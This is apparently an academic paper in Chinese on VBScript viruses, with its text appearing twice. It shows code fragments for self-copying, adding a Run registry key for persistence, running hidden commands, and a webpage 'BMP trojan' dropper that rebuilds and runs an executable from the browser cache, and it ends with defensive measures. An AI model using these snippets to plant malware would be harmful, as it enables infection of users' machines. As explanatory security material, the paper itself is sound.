论文部分内容阅读
1 引言
VBS语言为程序设计提供了很大的方便,特别是在动态网页设计中使用广泛。但是VBS的各种特点也使之成为制造病毒的理想工具。2000年5月4日欧美爆发了“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。2002年4月出现的新欢乐时光病毒也席卷了中国很多电脑,并在“2003年中国计算机病毒疫情调查技术分析报告”的十大病毒中,高居榜首。
2 VBS病毒的特点
顾名思义VBS病毒是用VBS语言编写的。VBS是“Visual Basic Script”的缩写,就是VB语言的脚本版。该脚本语言功能非常强大,它们利用开放性的特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,为制造病毒提供了非常好的条件。
3 VBS病毒的基本原理
(1) VBS脚本病毒如何感染文件
VBS脚本病毒一般是直接通过自我复制来感染文件的。譬如爱虫病毒是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。病毒自我复制的代码如下:
set copy1=createobject("scripting.filesystemobject")'创建一个文件系统对象
copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")'脚本自我复制
上面描述了病毒文件如何进行自我复制的,只要在病毒代码中加上上述代码就可实现自我复制了。
(2) VBS脚本病毒如何修改注册表
注册表几乎是每种病毒都喜欢光顾的地方。这是因为病毒要想在用户重启计算机之后仍能够运行,一般都要通过修改注册表中的启动项的键值。当然,VBS病毒也不例外,而且VBS脚本对注册表的修改十分简单。只要通过如下代码就可做到:
以下是一个蠕虫病毒的修改注册表部分的代码:
Dim Reg'定义Wscript.Shell对象
SetReg=CreateObject ( "wscript.Shell")'确定创建对象项目
'把资料写入Registry
Reg.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWARE
\Microsoft \ Windows \ CurrentVersion \Run
Mapi","C:\WINNT\SYSTEM\Mapi.exe"
'在启动项中增加病毒项
(3) VBS 脚本病毒如何直接运行 windows命令
除了能对注册表修改,vbs脚本还能直接运行windows命令。只要使用如下代码:
Set objShell = CreateObject("Wscript.Shell")'创建Wscript.Shell对象
objShell.Run( "wmplayer.exe D:\1.MP3"),0,TRUE'在后台播放1.MP3
这将使vbs脚本病毒的功能更加强大。也就是说,任何windows下的操作几乎都可以在病毒中实现。这些病毒可以轻易地关掉你的杀毒软件,甚至也可以执行format这样的格式化磁盘的命令。这将给用户带来毁灭性的打击。
(4) VBS脚本病毒制造机的使用
这是一些菜鸟最喜欢用的制造VBS脚本病毒的方法。这种方法非常简单,一个几乎不懂编程的人可以编出具有相当威力的病毒。这种病毒制造机充分利用了脚本语言的优越性。因为脚本语言是解释执行的,不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,病毒制造机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。
(5) 利用VBS脚本进行网页挂马
目前VBS使用最多的地方应该就是在网页设计中了。特别是在动态网页asp或html中嵌入VBS可以实现相当多的功能。网页挂马就是用这种原理。所谓网页挂马就是黑客自己写一个网页,当你浏览该网页时会自动下载木马并且运行。为了让用户浏览该网页,黑客往往会入侵一个正常的网站,然后在该网页上加上打开网马地址的html语句。这样当有用户访问该网站时会自动打开网马地址从而中木马。下面我们来分析一下挂马的原理:
以下是一个种BMP木马网页的核心代码:
CACHE=wsh.RegRead
("HKCU \Software \ Microsoft\Windows
\ CurrentVersion \ Explorer \ Shell Folders
Cache")
'通过读注册表得到网页缓存地址
str=FSO.GetParentFolderName(CACH
E)&"\"&CACHE.name&"\"&"1.bmp");
'得到bmp临时文件的完整路径
set File=FSO.GetFile(str)'定义bmp文件的对象
File.Copy(tmp&"tmp.dat")'复制bmp文件为tmp.dat文件
set Lt=FSO.CreateTextFile(tmp&"tmp.bat")'创建tmp.bat批处理文件
Lt.WriteLine("@echo off")'写tmp.bat文件
Lt.WriteLine( "debug" & tmp & "tmp.dat<"&tmp&"tmp.in>"&tmp&"tmp.out")
Lt.WriteLine ("copy"& tmp& "tmp.dat" &
winsys&"1.exe>"&tmp&"tmp.out")
Lt.WriteLine(winsys&"1.exe")
Lt.Close
WSH.Run tmp&"tmp.bat",false,6
'运行tmp.bat文件
这个BMP木马的工作原理是这样的:首先将木马文件加上一个BMP文件头转换成BMP文件,并且在种马网页上添加这个BMP图片文件。当你打开了这个网页时系统会自动将这个文件下到Internet缓存中。再通过读注册表得到用户缓存目录,将该文件另存为tmp.dat文件。然后再生成一个批处理文件。这个批处理文件的功能是调用系统自带的debug程序,通过tmp.in中的命令对tmp.dat文件操作,过滤掉tmp.dat中的BMP文件头,还原为1.exe文件,最后再运行这个木马。写完这个批处理后,VBS脚本再调用这个批处理,完成批处理中的操作。这样当你浏览网页时就自动将木马下载到本地运行了。
4 VBS病毒的防范方法
VBS病毒虽然功能强大,但是仍然有很多弱点。正是因为弱点比较明显,使得近几年来VBS病毒不是很流行。下面我们介绍VBS病毒的防范方法:
(1)禁用文件系统对象FileSystemObject。用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。
(2) 删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,同时取消隐藏系统中已知文件类型的扩展名。这两项可在文件夹选项中设置。
(3) 在Windows\system32目录中,找到WScript.exe,更改名称或者删除。
(4)要彻底防治VBS网络蠕虫病毒,还需设置一下浏览器。把“ActiveX控件及插件”的一切设为禁用,同时将系统的网络连接的安全级别设置至少为“中等”。
(5)禁止Outlook Express的自动收发邮件功能,这样将阻止蠕虫通过邮件的传播。
(6) 最后一项也是最简单的,就是安装杀毒软件。目前国内杀毒软件已经做得比较好了。只要你安装了可更新病毒库的杀毒软件,还是可以查杀大部分病毒的。
————————————
参考文献
[1]杜宏毅,郑玄宜.完全接触ASP之VBScript.电子工业出版社,2002.
[2]许卫林,宋先斌,党齐民.VBScript+ASP动态网页设计制作.中国电力出版社,2002.
VBS语言为程序设计提供了很大的方便,特别是在动态网页设计中使用广泛。但是VBS的各种特点也使之成为制造病毒的理想工具。2000年5月4日欧美爆发了“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。2002年4月出现的新欢乐时光病毒也席卷了中国很多电脑,并在“2003年中国计算机病毒疫情调查技术分析报告”的十大病毒中,高居榜首。
2 VBS病毒的特点
顾名思义VBS病毒是用VBS语言编写的。VBS是“Visual Basic Script”的缩写,就是VB语言的脚本版。该脚本语言功能非常强大,它们利用开放性的特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,为制造病毒提供了非常好的条件。
3 VBS病毒的基本原理
(1) VBS脚本病毒如何感染文件
VBS脚本病毒一般是直接通过自我复制来感染文件的。譬如爱虫病毒是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。病毒自我复制的代码如下:
set copy1=createobject("scripting.filesystemobject")'创建一个文件系统对象
copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")'脚本自我复制
上面描述了病毒文件如何进行自我复制的,只要在病毒代码中加上上述代码就可实现自我复制了。
(2) VBS脚本病毒如何修改注册表
注册表几乎是每种病毒都喜欢光顾的地方。这是因为病毒要想在用户重启计算机之后仍能够运行,一般都要通过修改注册表中的启动项的键值。当然,VBS病毒也不例外,而且VBS脚本对注册表的修改十分简单。只要通过如下代码就可做到:
以下是一个蠕虫病毒的修改注册表部分的代码:
Dim Reg'定义Wscript.Shell对象
SetReg=CreateObject ( "wscript.Shell")'确定创建对象项目
'把资料写入Registry
Reg.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWARE
\Microsoft \ Windows \ CurrentVersion \Run
Mapi","C:\WINNT\SYSTEM\Mapi.exe"
'在启动项中增加病毒项
(3) VBS 脚本病毒如何直接运行 windows命令
除了能对注册表修改,vbs脚本还能直接运行windows命令。只要使用如下代码:
Set objShell = CreateObject("Wscript.Shell")'创建Wscript.Shell对象
objShell.Run( "wmplayer.exe D:\1.MP3"),0,TRUE'在后台播放1.MP3
这将使vbs脚本病毒的功能更加强大。也就是说,任何windows下的操作几乎都可以在病毒中实现。这些病毒可以轻易地关掉你的杀毒软件,甚至也可以执行format这样的格式化磁盘的命令。这将给用户带来毁灭性的打击。
(4) VBS脚本病毒制造机的使用
这是一些菜鸟最喜欢用的制造VBS脚本病毒的方法。这种方法非常简单,一个几乎不懂编程的人可以编出具有相当威力的病毒。这种病毒制造机充分利用了脚本语言的优越性。因为脚本语言是解释执行的,不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,病毒制造机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。
(5) 利用VBS脚本进行网页挂马
目前VBS使用最多的地方应该就是在网页设计中了。特别是在动态网页asp或html中嵌入VBS可以实现相当多的功能。网页挂马就是用这种原理。所谓网页挂马就是黑客自己写一个网页,当你浏览该网页时会自动下载木马并且运行。为了让用户浏览该网页,黑客往往会入侵一个正常的网站,然后在该网页上加上打开网马地址的html语句。这样当有用户访问该网站时会自动打开网马地址从而中木马。下面我们来分析一下挂马的原理:
以下是一个种BMP木马网页的核心代码:
CACHE=wsh.RegRead
("HKCU \Software \ Microsoft\Windows
\ CurrentVersion \ Explorer \ Shell Folders
Cache")
'通过读注册表得到网页缓存地址
str=FSO.GetParentFolderName(CACH
E)&"\"&CACHE.name&"\"&"1.bmp");
'得到bmp临时文件的完整路径
set File=FSO.GetFile(str)'定义bmp文件的对象
File.Copy(tmp&"tmp.dat")'复制bmp文件为tmp.dat文件
set Lt=FSO.CreateTextFile(tmp&"tmp.bat")'创建tmp.bat批处理文件
Lt.WriteLine("@echo off")'写tmp.bat文件
Lt.WriteLine( "debug" & tmp & "tmp.dat<"&tmp&"tmp.in>"&tmp&"tmp.out")
Lt.WriteLine ("copy"& tmp& "tmp.dat" &
winsys&"1.exe>"&tmp&"tmp.out")
Lt.WriteLine(winsys&"1.exe")
Lt.Close
WSH.Run tmp&"tmp.bat",false,6
'运行tmp.bat文件
这个BMP木马的工作原理是这样的:首先将木马文件加上一个BMP文件头转换成BMP文件,并且在种马网页上添加这个BMP图片文件。当你打开了这个网页时系统会自动将这个文件下到Internet缓存中。再通过读注册表得到用户缓存目录,将该文件另存为tmp.dat文件。然后再生成一个批处理文件。这个批处理文件的功能是调用系统自带的debug程序,通过tmp.in中的命令对tmp.dat文件操作,过滤掉tmp.dat中的BMP文件头,还原为1.exe文件,最后再运行这个木马。写完这个批处理后,VBS脚本再调用这个批处理,完成批处理中的操作。这样当你浏览网页时就自动将木马下载到本地运行了。
4 VBS病毒的防范方法
VBS病毒虽然功能强大,但是仍然有很多弱点。正是因为弱点比较明显,使得近几年来VBS病毒不是很流行。下面我们介绍VBS病毒的防范方法:
(1)禁用文件系统对象FileSystemObject。用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。
(2) 删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,同时取消隐藏系统中已知文件类型的扩展名。这两项可在文件夹选项中设置。
(3) 在Windows\system32目录中,找到WScript.exe,更改名称或者删除。
(4)要彻底防治VBS网络蠕虫病毒,还需设置一下浏览器。把“ActiveX控件及插件”的一切设为禁用,同时将系统的网络连接的安全级别设置至少为“中等”。
(5)禁止Outlook Express的自动收发邮件功能,这样将阻止蠕虫通过邮件的传播。
(6) 最后一项也是最简单的,就是安装杀毒软件。目前国内杀毒软件已经做得比较好了。只要你安装了可更新病毒库的杀毒软件,还是可以查杀大部分病毒的。
————————————
参考文献
[1]杜宏毅,郑玄宜.完全接触ASP之VBScript.电子工业出版社,2002.
[2]许卫林,宋先斌,党齐民.VBScript+ASP动态网页设计制作.中国电力出版社,2002.